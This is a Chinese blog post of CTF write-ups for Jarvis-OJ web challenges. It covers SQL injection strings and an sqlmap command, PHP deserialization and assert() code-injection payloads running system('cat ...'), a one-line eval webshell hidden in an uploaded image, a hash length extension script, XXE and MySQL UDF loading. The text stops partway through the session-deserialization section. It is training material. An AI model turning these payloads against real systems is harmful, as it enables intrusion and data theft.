# Jarvis-OJ WEB 多题writeup



<u>烟敛寒林o</u> ● 于 2019-04-19 21:12:15 发布 ● 3123 论 收藏 7 分类专栏: ★ <u>CTF # — 【SQL Inject】 # — 【Code Audit】 # — 【FileUpload/FileInclude】 # — 【Command Execute】</u> 文 章标签: <u>Jarvis-OJ</u> 版权声明: 本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/dyw\_6666666/article/details/89371741</u> 版权



★ CTF 同时被 3 个专栏收录

55 篇文章 2 订阅 订阅专栏



\_\_\_\_\_【<u>SQL Inject】</u> 25 篇文章 0 订阅 订阅专栏



26 篇文章 0 订阅 订阅专栏 PORT51(curl)

LOCALHOST (伪造ip)

Login (SQL注入)

神盾局的秘密(base64编码+反序列化)

IN A Mess(代码审计+过滤空格SQL注入)

admin (robots.txt+cookie欺骗)

[61dctf]babyphp(Git泄露+代码注入)

Easy Gallery (文件上传、%00截断)

Simple Injection (过滤空格SQL注入)

RE? (mysql的UDF用户自定义函数)

flag在管理员手里(Hash长度扩展攻击)

api调用(XXE漏洞)

PHPINFO (SESSION反序列化)

PORT51 (curl)

```
题目链接: http://web.jarvisoj.com:32770/
```



curl --local-port 51 http://web.jarvisoj.com:32770/



curl的介绍和一些常见用法: https://blog.csdn.net/liitdar/article/details/80684730

# LOCALHOST (伪造ip)

题目入口: http://web.jarvisoj.com:32774/

火狐插件X-Forwarded-For Header伪装成127.0.0.1

# Login (SQL注入)

题目链接: http://web.jarvisoj.com:32772/

尝试了几个密码都显示Wrong Password.

只得抓包,发现响应头中有hint.



这里使用了md5加密,

而ffifdyop经过md5(\$password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是:

\$sql="select \* from admin where password=''or'<xxx>'"

所以直接输入ffifdyop即可得到flag.

这道题告诉我们,md5使用的时候一定要加盐!

类似题目:

```
题目入口: http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/
```

题目来源: hacking lab inject 09~

看到源代码password='".md5(\$\_GET['pwd'], true),就知道这道题和题目3的解法是一致的。

http://lab1.xseclab.com/code1\_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

神盾局的秘密(base64编码+反序列化)

题目入口: http://web.jarvisoj.com:32768/

#### 查看页面源代码:

 $\begin{array}{c} \leftarrow \rightarrow \mathbb{C} & \textcircled{i} & \textcircled{i} & \texttt{i} & \texttt{i}$ 

发现图片名经过base64加密,解密后得到文件名:

文字加密解密	MD5加密/解密	URL加密	JS加/解密	JS混淆加密压缩	ESCAPE加/解密	BASE64	散列/哈希	迅雷,快车	F, 旋风URL加解密
shield.jpg					c2hpZWxkLmpv	vZw==			
							□多行 Bas	se64加密 https://blog.cso	Base64解密 In.net/dyw_6666666

尝试访问index.php的页面源代码,先给index.php base64加密:

文字加密解密	MD5加密/解密	URL加密	JS加/解密	JS混淆加密压缩	ESCAPE加/解密	BASE64	散列/哈希	迅雷,快车,旋风URL;	加解密
index.php					aW5kZXgucGhw	1			
							□多行 Bas	e64加密 Base64解释	图 清空

# 访问后发现有个shield.php:

$\leftrightarrow$	G	۵	(i) view-source:http://web.jarvisoj.com:32768/showimg	g.ph v?img=aW5kZXgucGhw==
			a press and the second second second	
1 <b><?</b></b>	ohp			
2	re	quire_once	('shield.php');	
3 4	JX is	– new Sni set( <b>\$</b> GET	eid(); 'class'])	
5	if	(!empty(\$	$(g)) \{$	
6		<b>\$</b> x = uns	erialize(\$g);	
7	}			
8	ec	<b>ho \$x</b> −≻rea	dfile();	
9 ?>				
10 <in< td=""><td>ig si</td><th>rc="<u>showim</u></th><td><u>g.php?img=c2hpZWxkLmpwZw==</u>" <b>width</b>="100%"/&gt;</td><td></td></in<>	ig si	rc=" <u>showim</u>	<u>g.php?img=c2hpZWxkLmpwZw==</u> " <b>width</b> ="100%"/>	
11				

shield.php中发现一句话:

flag is in pctf.php

$\leftrightarrow$	G	۵	(i) view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
			A REAL PROPERTY AND A REAL PROPERTY AND A REAL PROPERTY AND A
1 <b><?</b>] 2 3</b>	ohp //: cla	flag is in ass Shield	pctf.php {
4 5 6		public \$ function \$thi	<pre>file; construct(\$filename = '') { s -&gt; file = \$filename;</pre>
7 8 9		} function	readfile() {
10 11 12		if (! && st 1	<pre>empty(\$this-&gt;file) &amp;&amp; stripos(\$this-&gt;file,'')===FALSE cripos(\$this-&gt;file,'/')===FALSE &amp;&amp; stripos(\$this-&gt;file,'\\')==FALSE) { ceturn @file_get_contents(\$this-&gt;file);</pre>
13 14 15	}	}	
16 ?> 17			

访问了pctf.php却没有flag:



1 File not found!

最后再看看showimg.php的内容:

$(\leftarrow)$	$) \rightarrow$	G	<u>ি</u>	(i) view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
Ť				a second product and a second to a subsecond
	l ⟨?µ	ohp		
	2	<b>\$</b> f	= <b>\$_</b> GET['	img'];
		if	(!empty(\$	$(\mathbf{f})$ (
	4		<b>\$</b> f = bas	e64_decode (\$f) ;
			if (stri	pos(\$f,'')===FALSE && stripos(\$f,'/')===FALSE && stripos(\$f,'\\')===FALSE
			&& strip	os(\$f, 'pctf')==FALSE) {
	7		read	file(\$f);
			} else {	
	9		echo	"File not found!";
1			}	
1	1	J	-	
1	2 ?>			
1				

综合分析,题目过滤了".."、"/"、"\\","pctf"

通过审计代码,这里是利用自己写shield.php中的Shield类反序列化字符串,然后利用index.php反序列把这个类 实例,并将该类的filename指为pctf.php.

所以我们要将实例进行序列化,最后在index.php提交序列化后的内容.

```
<?php
class Shield {
    public $file;
    function __construct($filename = 'pctf.php') {
        $this -> file = $filename;
        }
}
$str = new Shield();
echo serialize($str);
?>
```



# O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

最终payload:

view-source:http://web.jarvisoj.com:32768/index.php?class=0:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}



# IN A Mess (代码审计+过滤空格 SQL注入)

### 题目入口: http://web.jarvisoj.com:32780/

查看页面源代码:

1 <!--index.phps-->work harder!harder!

访问index.phps,发现只有后面一半代码:



查看页面源代码,发现完整代码:

```
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and subs
{
require("flag.txt");
}
else
{
print "work harder!harder!";
}
?>
```

### Payload:

<pre>http://web.jarvisoj.com:32780/index.php?id=a&amp;b=%00111223&amp;a=php://input</pre>
[POST]"1112 is a nice lab!"

Go Cancel <   v >   v	Target: http://web.jarvisoj.com:3278(
Request	Response
Raw Params Headers Hex	Raw Headers Hex
POST /index.php?id=a&b=%00111223&a=php://input HTTP/1.1 Host: web.jarvisoj.com:32780 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv.66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://web.jarvisoj.com:32780/index.php?id=a&b=%00111223 Content-Type: application/x-www-form-urlencoded Content-Length: 19 Connection: close Cookie: UM_distinctid=167f40d565457-0eab26ed0cc655-11676f4a-144000-167f40d56551f8 Ungrade.lnseyure.Renuests: 1	HTTP/1:1 200 OK Date: Thu, 18 Apr 2019 09:06:51 GMT Server: Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: PHP/5.6.21 Content-Length: 46 Connection: close Content-Type: text/html; charset=UTF-8 
1112 is a nice lab!	https://blog.csdn.net/dyw_6666666

#### 得到下一关的地址:

http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1



#### hi666

#### 接下来是SQL注入:

尝试进行注入,发现此时,简单过滤了空格,利用/\*666\*/绕过,且去除敏感字符

于是有:?id=1/\*666\*/and/\*666\*/1/\*666\*/=/\*666\*/1显示正常

#### hi666



?id=1/\*666\*/and/\*666\*/1/\*666\*/=/\*666\*/2 显示错误,存在注入

#### SELECT \* FROM content WHERE id=1/\*666\*/and/\*666\*/1/\*666\*/=/\*666\*/2



?id=1/\*666\*/order/\*666\*/by/\*666\*/4 显示错误,字段数为3

### SELECT \* FROM content WHERE id=1/\*666\*/order/\*666\*/by/\*666\*/4



#### 得到数据库名test

#### 爆表名:

?id=-1/\*6\*/uniunionon/\*6\*/seselectlect/\*6\*/1,2,(selselectect/\*6\*/group\_concat(column\_name)/\*6\*/frofromm/\*6\*

id,context,ti	itle	
□ ○ 査看器 [2]	]控制台 D 调试器 {}样式编辑器 🎧 性能 🕼 内存 Ņ 网络 🗄 存储 🛉 无障碍环境 🔵 HackBar 🍪 Cookie Editor 🤹 Adblock Plus	ם
Encryption - E	Encoding + SQL + XSS + Other + Chrome BackBar	Contribute me! Hack
Load URL	http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/group_concat(column_name)/*6*/frofromm/*6*/inform /*6*/lable_name=0x636/f6e74656e74)%23	nation_schema.columns/*6*/where
● Execute	Post data Referrer User Agent Cookies	

得到列名: context

读取内容:

?id=-1/\*6\*/uniunionon/\*6\*/seselectlect/\*6\*/1,2,(selselectect/\*6\*/context/\*6\*/frofromm/\*6\*/content)%23

PCTF{Fin4	lly_U_got_i7_C0ngRatulation5}	
い 白 査看器	🖸 控制台 🕞 调试器 【 )样式编辑器 🎧 性能 🔃 内存 忙 网络 😑 存储 붂 无障碍环境 🌘 HackBar 🍪 Cookie Editor 🚳 Adb	lock Plus
Encryption -	Encoding - SQL - XSS - Other -	
a Load URL	http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/context	i/*6*/frofromm/*6*/content)%23
🐰 Split URL		
() Execute	Post data     Referer     User Agent     Cookies     Clear All	

# admin(robots.txt+cookie欺骗)

#### 题目入口: http://web.jarvisoj.com:32792/

## 扫一下目录,发现有个robots.txt



Disallow: /admin\_s3cr3t.php

### 访问该文件

$\leftarrow$ $\rightarrow$ C $\textcircled{a}$	(i) web.jarvisoj.com:32792/admin_s3cr3t.php
--	---

# flag{hello guest}

#### 答案会这么简单吗?不会!

▶ ○ 查看器 ○ 控制台 ○ 调试器	{}样式编辑器	の性能の	内存 🚺 网络	🗧 存储 肯 无障碍环境	🕘 HackBar 🛛 🍪 Cool	kie Editor 🛛 🔊 Adblock Plus	s	
- E Cookie	+ C'						♥ 项目过滤器	
http://web.jarvisoj.com:32792	名称	域名	路径	过期时间	最后访问	值	HttpOnly	同站
▶ 🗄 会话存储	admin	web.jarvisoj.com	1	会话	Fri, 19 Apr 2019 02:26:48		false	Unset
Indexed DB	UM_distinctid	.jarvisoj.com	1	Fri, 28 Jun 2019 09:02:54	Fri, 19 Apr 2019 02:25:41	. 167f40d565457-0eab26ed0d	c65 false	Unset
<ul> <li>         ■ 本地存储      </li> </ul>								
▶ 🗃 緩存存储								

### 只要在cookie中把admin的值由0改为1即可.



## flag{hello\_admin~}

这样就得到flag了.

# [61dctf]babyphp(Git泄露+代码注入)

### 题目入口: http://web.jarvisoj.com:32798/

在about下发现了提示,怀疑存在git泄露

# About

昨儿做梦的时候我在梦里写了这个网站

印象中我用了这些东西:

- PHP
- GIT
- Bootstrap

os://blog.csdn.net/dyw\_666666

用GitHack脚本获取

python GitHack.py http://web.jarvisoj.com:32798/.git/



浏览了下, templates目录里面没什么有用信息,

有个flag.php还是空的,但是估计题目就是要获取题目服务器上的flag.php内容,

最主要的地方是index.php的php代码部分.

```
<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
}>
```

它使用了assert这个可以代码执行的函数,后面的file\_exists()可以不用管,从strpos入手,因为内容可控,所有可以拼接

自己本地模拟下,发现php能够用 and 和 | 来执行多条命令,使用.作为连接符。

注入思路:

整体上可以注释掉', '..') === false,或者不注释,只在中间插入。另外要注意闭合单引号和括号。

查看目录下文件:

```
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").'
```

当时我想的是能否直接用这样的payload实现查看源代码呢?

#### **Payload:**

http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").'

发现页面没有显示内容,但其实就在页面源码里:

```
1 <?php
2 // TODO
3 //$FLAG = '61dctf{8e_careful_when_uslng_ass4rt}';
4 ?>
5 <?php
6 // TODO
7 //$FLAG = '61dctf{8e_careful_when_uslng_ass4rt}';
8 ?>
9 That file doesn't exist!
```

By The Way:

代入:

```
. 连接符, ?page=flag'.system("ls").' 代入后得到
```

```
assert("strpos('flag'.system("Is").", '..') === false") or die("Detected hacking attempt!");
```

执行过程:

```
字符串flag和system("ls")和空字符"拼接后,作为strpos()的第一个参数。
```

```
重点是system()函数是会直接把结果输出的,不用echo,也可以输出,所以system("ls")就直接把目录输出了。
```

如何注释掉后面的语句:

?page=','88')===false and system("cat templates/flag.php");//

php代码注入总结:

连接自己的命令:; and |.,

system("xxx") 中命令使用双引号

闭合引号:

php中单引号不解释变量,双引号解释,一般都是单引号

# Easy Gallery (文件上传、%00截断)

#### 题目入口: http://web.jarvisoj.com:32785/

看到upload页面,猜想应该是上传题目.

		添加图片信息
图片标题:		
图片描述:		
上传图片:	浏览 未选择文件。	
	发布图片	

随便改个参数,报错warning.



Warning: fopen(index.php.php): failed to open stream: No suc No such file! https://blog.csdn.net/dyw\_666666

可看出是用fopen进行文件包含的,这里能够%00截断,但是不能访问index.php.

### 尝试修改文件名和改Content-Type,都没能成功.

Content-Length: 500	
Connection: close	<html lang="zh-CN"></html>
Upgrade-Insecure-Requests: 1	<head></head>
	<meta charset="utf-8"/>
41184676334	text/x-php+script language=javascript>alert('上传照片只能是JPG或者GIF! ');hist
Content-Disposition: form-data; name= title	
123	
41184676334	
Content-Disposition: form-data; name='url'	
1	
41184676334	
Content Disposition: form-data; name="pic"; filename="1.jpg"	
Content-Type: image/jpeg	
php</th <th></th>	
eval(\$ POST['123']);	
?>	
41184676334	https://blog.csdn.net/dyw_666666
Contant Disposition form data: names "Submit"	

#### 重点来了!!!

那么思路是把代码插入到图片中,然后包含这个图片,并利用%00截断,截取后面的.php,这里不能直接传以 jpg格式结尾的php代码,估计它检查了头部,所以要将代码插入图片中.

抓包,在图片文件最后加上一句话木马

<script language="php">@eval(\$\_POST['love']);</script>

写<?php eval(\$\_POST['love'])?>并不能成功,后来看了别人的writeup才知道可能后台代码把 <?php 给waf了,这也是为什么index.php不能包含进去的原因.



### 猜想访问图片的方式为:

#### http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg

#### 访问后得到回显:



#### 访问:

#### http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg%00



CTF{upl0ad\_sh0uld\_n07\_b3\_a110wed}

## **Besides:**

通过view进行查看图片,然后查看源码获取图片的位置:

http://web.jarvisoj.com:32785/show.php?id=1555763227&type=jpg

# Simple Injection(过滤空格SQL注入)

# 题目入口: http://web.jarvisoj.com:32787/

Please	sign ir	า
Username		
Password		
	Sign in	
		https://blog.csdn.net/dyw_6

### burp抓包并保存为1.txt:

🚯 Burp Suite Professional v1.7.32 - Temporary Project - www.baidu.com – 🗆 🗙						
Burp Intruder Repeater Window Help						
Target Proxy Spider Scanner Intruder Repeater Seq	uencer Decoder	Comparer Extend	ler Project options	User options Alerts		
Intercept HTTP history WebSockets history Options				· · · · ·		
Request to http://web.jarvisoj.com:32787 [120.26.131.152]						
Enverd Drop Intercent is on	Action				Comment this item	
	Action				Comment uns tem	
Raw Params Headers Hex						
POST /login.php HTTP/1.1 Host: web.jarvisoj.com:32787 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; nr.66.0) Geck Accept: text/html,application/xhtml+xml,application/xml;q=0.9;7*,q Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-U: Accept-Encoding: gzip, deflate Referer: http://web.jarvisoj.com:32787/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 27 Connection: close Cookie: UM_distinctid=167f40d565457-0eab26ed0cc655-11676f4a-1 Upgrade-Insecure-Requests: 1 username=admin&password=123	o/20100101 Firefox/6 =0.8 S;q=0.3,en;q=0.2 Send to Spider Do an active sca Send to Intruder Send to Repeate Send to Repeate Send to Decode Request in brow Engagement too Change request Change body en Copy URL Coov as curl coo Copy to file Paste from file Save item Don't intercept Convert selectio URL-encode as Cut	S6.0	SSID=bl24blf3lfbqqg	ugcOblp2hkl1		
	Сору	Ctrl+C				
	Paste	Ctrl+V				
	Message editor	help				
	Proxy interception	on help				Y
? < + > Type a search term					https://blog.csdn.ne	et/dy/v 0 matches

根据是用户名错误还是密码错误来进行判断。可得知过滤了空格, and, or。

这里用sqlmap的一个space2comment脚本跑。

#### Payload:

sqlmap.py -r 1.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump

🐝 sqlmap



password经md5解密:

eTAloCrEP

登陆后显示flag:



# RE? (mysql的UDF用户自定义函数)

题目地址: udf.so.02f8981200697e5eeb661e64797fc172

搜了一下题解,这道题大概思路是:

下载下来后文件名为udf.so.XXXXX,用mysql导入一下。

所以这道题就是让我们在本地导入udf,然后调用函数看结果。

ERROR 1126 (HY000): Can't open shared library 'udf.so.02f8981200697e5eeb661e64797fc172' (errno: 2, )

```
原因:
```

udf是mysql自定义函数包,

udf.so用于linux系统,udf.dll用于windows系统。

解决方法:

- 1. 在linux下装mysql
- 2. docker直接pull mysql镜像

解题方法一: Linux

cd /usr/lib64/mysql/plugin

wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

[root@VM_0_7_centos	plugin]# ls		
adt_null.so	dialog_examples.so	mypluglib.so	semisync_master.so
auth_0x0100.so	dialog.so	mysql_clear_password.so	semisync_slave.so
auth_pam.so	ha_innodb.so	<pre>qa_auth_client.so</pre>	server_audit.so
auth_socket.so	handlersocket.so	<pre>qa_auth_interface.so</pre>	sphinx.so
auth_test_plugin.so	ha_sphinx.so	<pre>qa_auth_server.so</pre>	sql errlog.so
daemon_example.ini	libdaemon_example.so	query_cache_info.so	udf.so.02f8981200697e5eeb661e64797fc172
InsetoWM 0 7 sector	alunial# musal unach		

登陆MySQL或MariaDB后:

```
create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select help_me();
create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select getflag();
```

```
[root@VM_0_7_centos plugin]# mysql -uroot -p
Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2176
Server version: 5.5.60-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
Query OK, 0 rows affected (0.05 sec)
MariaDB [(none)]> select help_me();
| help_me()
 use getflag function to obtain your flag!!
 1 row in set (θ.θθ sec)
MariaDB [(none)]> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
Query OK, θ rows affected (9.99 sec)
MariaDB [(none)]> select getflag();
 getflag()
 PCTF{Interesting U5er d3fined Function}
                                                                                        https://blog.csdn.net/dyw_6666666
```

#### 解题方法二: Docker

>docker search mysql Error response from daemon: Get https://index.docker.io/v1/search?q=mysql&n=25: dial tcp: lookup index.dock #重启解决(没有什么是重启解决不了的,如果有,就重装) > docker pull mysql > docker run -p 3306:3306 --name ctf-mysql -v D:\security\docker:/tmp -e LANG=C.UTF-8 -e MYSQL\_ROOT\_PASSWO >docker exec -it ctf-mysql bash root@72c3316058c9:/# mysql -u root -p mysql> select @@plugin\_dir; root@72c3316058c9:/# cp ./udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin/udf.so mysql> create function help\_me returns string soname 'udf.so'; Query OK, 0 rows affected (0.04 sec) mysql> select help\_me(); use getflag function to obtain your flag!! mysql> create function getflag returns string soname 'udf.so'; Query OK, 0 rows affected (0.05 sec) mysql> select getflag(); PCTF{Interesting\_U5er\_d3fined\_Function}

即可得到flag。

# flag在管理员手里(Hash长度扩展攻击)

#### 题目链接: http://web.jarvisoj.com:32778/

上去先抓包,发现会设置一个md5和你的身份guest。

#### 题目的意思应该是将guest改为admin。

GET / HTTP/1.1
Host: web.jarvisoj.com:32778
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: role=s%3A5%3A%22guest%22%3B;
Upgrade-Insecure-Requests: 1

大概是哈希长度拓展攻击。

估计要找源码了,常见的备份文件.bak.swp.swo还有~

#### 用源码泄露工具扫描一下:

#### Usage :

python SourceLeakHackerForLinux.py [URL]

#### Example :

python SourceLeakHackerForLinux.py http://www.baidu.com/

Tips :

Your URL should must starts with "http://" or "https://"

n:32778/.www.tar.gz.swl Checking : http://web.jarvisoj.com:32778/.www.tar.swl Checking : http://web.jarvisoj.com:32778/.web.rar.swl Checking : http://web.jarvisoj.com:32778/.web.rar.swl Checking : http://web.jarvisoj.com:32778/.web.7z.swl Checking : http://web.jarvisoj.com:32778/.web.tar.swl Checking : http://web.jarvisoj.com:32778/.web.tar.swl Checking : http://web.jarvisoj.com:32778/.viminisoj.com:32778/.web.tar.swl Checking : http://web.jarvisoj.com:32778/.viminisoj.com:32778/.web.tar.swl Checking : http://web.jarvisoj.com:32778/\_viminisoj.com:32778/.viminfo Checking : http://web.jarvisoj.com:32778/\_index.php [ 200 ] Checking : http://web.jarvisoj.com:32778/test.php Checking : http://web.jarvisoj.com:32778/phpinfo.php

打开这个链接可以下载一个文件index.php~,这个是php的备份恢复文件,**拿到 linux下,重命名为** index.php.swp,使用命令vim -r index.php 即可恢复原来的php文件,得到源码:

```
<?php
    $auth = false;
    $role = "guest";
    $salt =
    if (isset($ COOKIE["role"])) {
        $role = unserialize($_COOKIE["role"]);
        $hsh = $_COOKIE["hsh"];
        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
            $auth = true;
        } else {
            $auth = false;
    } else {
        $s = serialize($role);
        setcookie('role',$s);
        $hsh = md5($salt.strrev($s));
        setcookie('hsh',$hsh);
    }
   if ($auth) {
        echo "<h3>Welcome Admin. Your flag is
    } else {
        echo "<h3>Only Admin can see the flag!!</h3>";
    }
?>
```

如何知道 \$salt 的长度呢,可以选择kali中的hashpump 或者 hash\_extender工具爆破......

解题方法一: hash\_extender工具

#### 安装hash\_extender步骤:

```
git clone https://github.com/iagox86/hash_extender
cd hash_extender
make
```

还需要一个python脚本,来自:

https://skysec.top/2017/08/16/jarvisojweb/#flag%E5%9C%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%89%8B%E9%87%8C

```
# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib
def gao(x, y):
        #print x
        #print y
    url = "http://web.jarvisoj.com:32778/index.php"
    cookie = "role=" + x + "; hsh=" + y
        #print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44
            'Host': 'web.jarvisoj.com:32778',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    urlparts = urlparse(url)
    conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
    conn.request("GET", urlparts.path, '', build_header)
    resp = conn.getresponse()
    body = resp.read()
    return body
for i in xrange(1000):
    print i
    #secret len = ???
    find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5 -a ';\"nim
    #print find_hash
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
    ret = gao(attack_padding, hash_value)
    if "Welcome" in ret:
        print ret
        break
```

可见盐的长度是12......且得到回显:

```
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<h3>Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3} </h3>
```

解题方法二: HashPump

先在centos或者kali下安装HashPump:

```
git clone https://github.com/bwall/HashPump
#yum install g++ libssl-dev #centos
apt-get install g++ libssl-dev #kali
cd HashPump
make
make install
```

使用方法:

Input Signature 为COOKIES中hsh的值 Input Data 为用户名 Input Key Length 为长度 Input Data to Add 为密码(自定义,除了admin)



把内容中值反转一下,把\x替换为%:

fcdc3840332555511c4e4323f6decb07

将其输入到cookie对应的参数中,获得flag,注意下序列化的 ";" 在cookie中需要编码成 %3b



那么这里为什么能够添加了这么多内容,还能满足源码中如下的判定条件呢:

\$role == 'admin'

因为这道题巧在利用了unserialize来进行反序列化,它会把序列化格式;之后的内容丢弃

也就是 s:5:"admin"; xxxxx (xxxx全被丢弃了)

如果不是被反序列化了,这样这道题不能满足\$role == 'admin'条件了

同类题目(shiyanbar):

http://ctf5.shiyanbar.com/web/kzhan.php

# api调用(XXE漏洞)

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口: http://web.jarvisoj.com:9882/

抓包传的json:



# 利用了ajax,这里把传的json改成xml,并利用xxe读取flag

### 先把头中的Content-Type改为application/xml

#### 下面利用xxe



得到flag。

关于XXE漏洞的两篇文章:

https://security.tencent.com/index.php/blog/msg/69

https://www.freebuf.com/articles/web/126788.html

# PHPINFO (SESSION反序列化)

题目入口: http://web.jarvisoj.com:32784/

```
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>
```

#### 本题的突破点在于:

```
ini_set('session.serialize_handler', 'php');
```

## 当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()。

	phpinfo() X 🔆 选项	× +		—		×
$\left( \boldsymbol{\leftarrow} \right)$	→ C û web.jarvisoj.com:	32784/index.php?phpinfo=1	∭\ 🗊 🦘	Т	۰ 🐐	⊒⁴
					2移动	版书签
	PHP Version 5.6.21		P	h		
	System	Linux 100052dd14a1 3.13.0-143-generic #192-Ubuntu SMP Tue Feb 27 10	:45:36 UTC 2018 x86	j_64		
	Build Date	May 11 2016 14:35:12				
	Configure Command	'./configure' 'prefix=/opt/lampp' 'with-apxs2=/opt/lampp/bin/apxs' ' /lampp/etc' 'with-mysql=mysqlnd' 'enable-inline-optimization' 'disal enable-calendar' 'enable-type' 'enable-ftp' 'enable-gd-native-ttf' enable-shmop' 'disable-sigchild' 'enable-ftp' 'with-png-dir=/opt/lampp' 'with-jeg-dir=/opt/lampp' 'with-png-dir=/opt/lampp' 'with-jeg-dir=/opt/lampp' 'with-jeg-dir=/opt/lampp' 'with-jeg-dir=/opt/lampp' 'with-jeg-dir=/opt/lampp' 'with-dap=/opt/lampp' 'with-gettext=/opt/lampp' 'with x64/src/imap-2007e' 'with-imap-ssl' 'with-gettext=/opt/lampp' 'with with-pdo-dblb=shared./opt/lampp' 'with-sybase-ct=/opt/lampp' 'with /var/mysql/mysql.sock' 'with-oi8=shared.instantclient./opt/lampp/lib/ir mcrypt=/opt/lampp' 'with-mhash=/opt/lampp' 'enable-sockets' 'enable- sockets' 'enable-sockets' 'enable-sock	with-config-file-pat ble-debug' 'enable enable-magic-quote 'enable-wddx' 'w mpp' 'with-freetyp ot/lampp' 'with-xsl ppunixinstallerstackl -mssql=shared,/opt, -mssql=shared,/opt, -mstantclient' 'with- ble-mbstring=all' :- wife !- with bac2 = c	h=/opt -bcma ss'' ith- e-dir=, e-dir=, e-dir=, avoth- lampp ampp -with- pt (amp	th'' /opt ux- '' ai/dyw_6	

通过phpinfo页面,我们知道php.ini中默认session.serialize\_handler为php\_serialize,而index.php中将其设置为 php。

这就导致了seesion的反序列化问题。

session.save_path	/opt/lampp/temp/	/opt/lampp/temp/
session.serialize_handler	php	php_serialize
session.upload_progress.cleanup	Off	Off
session.upload progress.enabled	On mttp://brt	On

由phpinfo()页面继续可知, session.upload\_progress.enabled为On。

因此当一个上传在处理中,同时POST一个与INI中设置的session.upload\_progress.name同名变量时,

当php检测到这种POST请求时,它会在\$\_SESSION中添加一组数据。

所以可以通过Session Upload Progress来设置session。

session.upload_progress.cleanup	Off	Off
session.upload_progress.enabled	On	On
session.upload_progress.freq	1% http://blog.csd	1 <b>1%</b> et/wy_97

但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到\$\_SESSION中的。

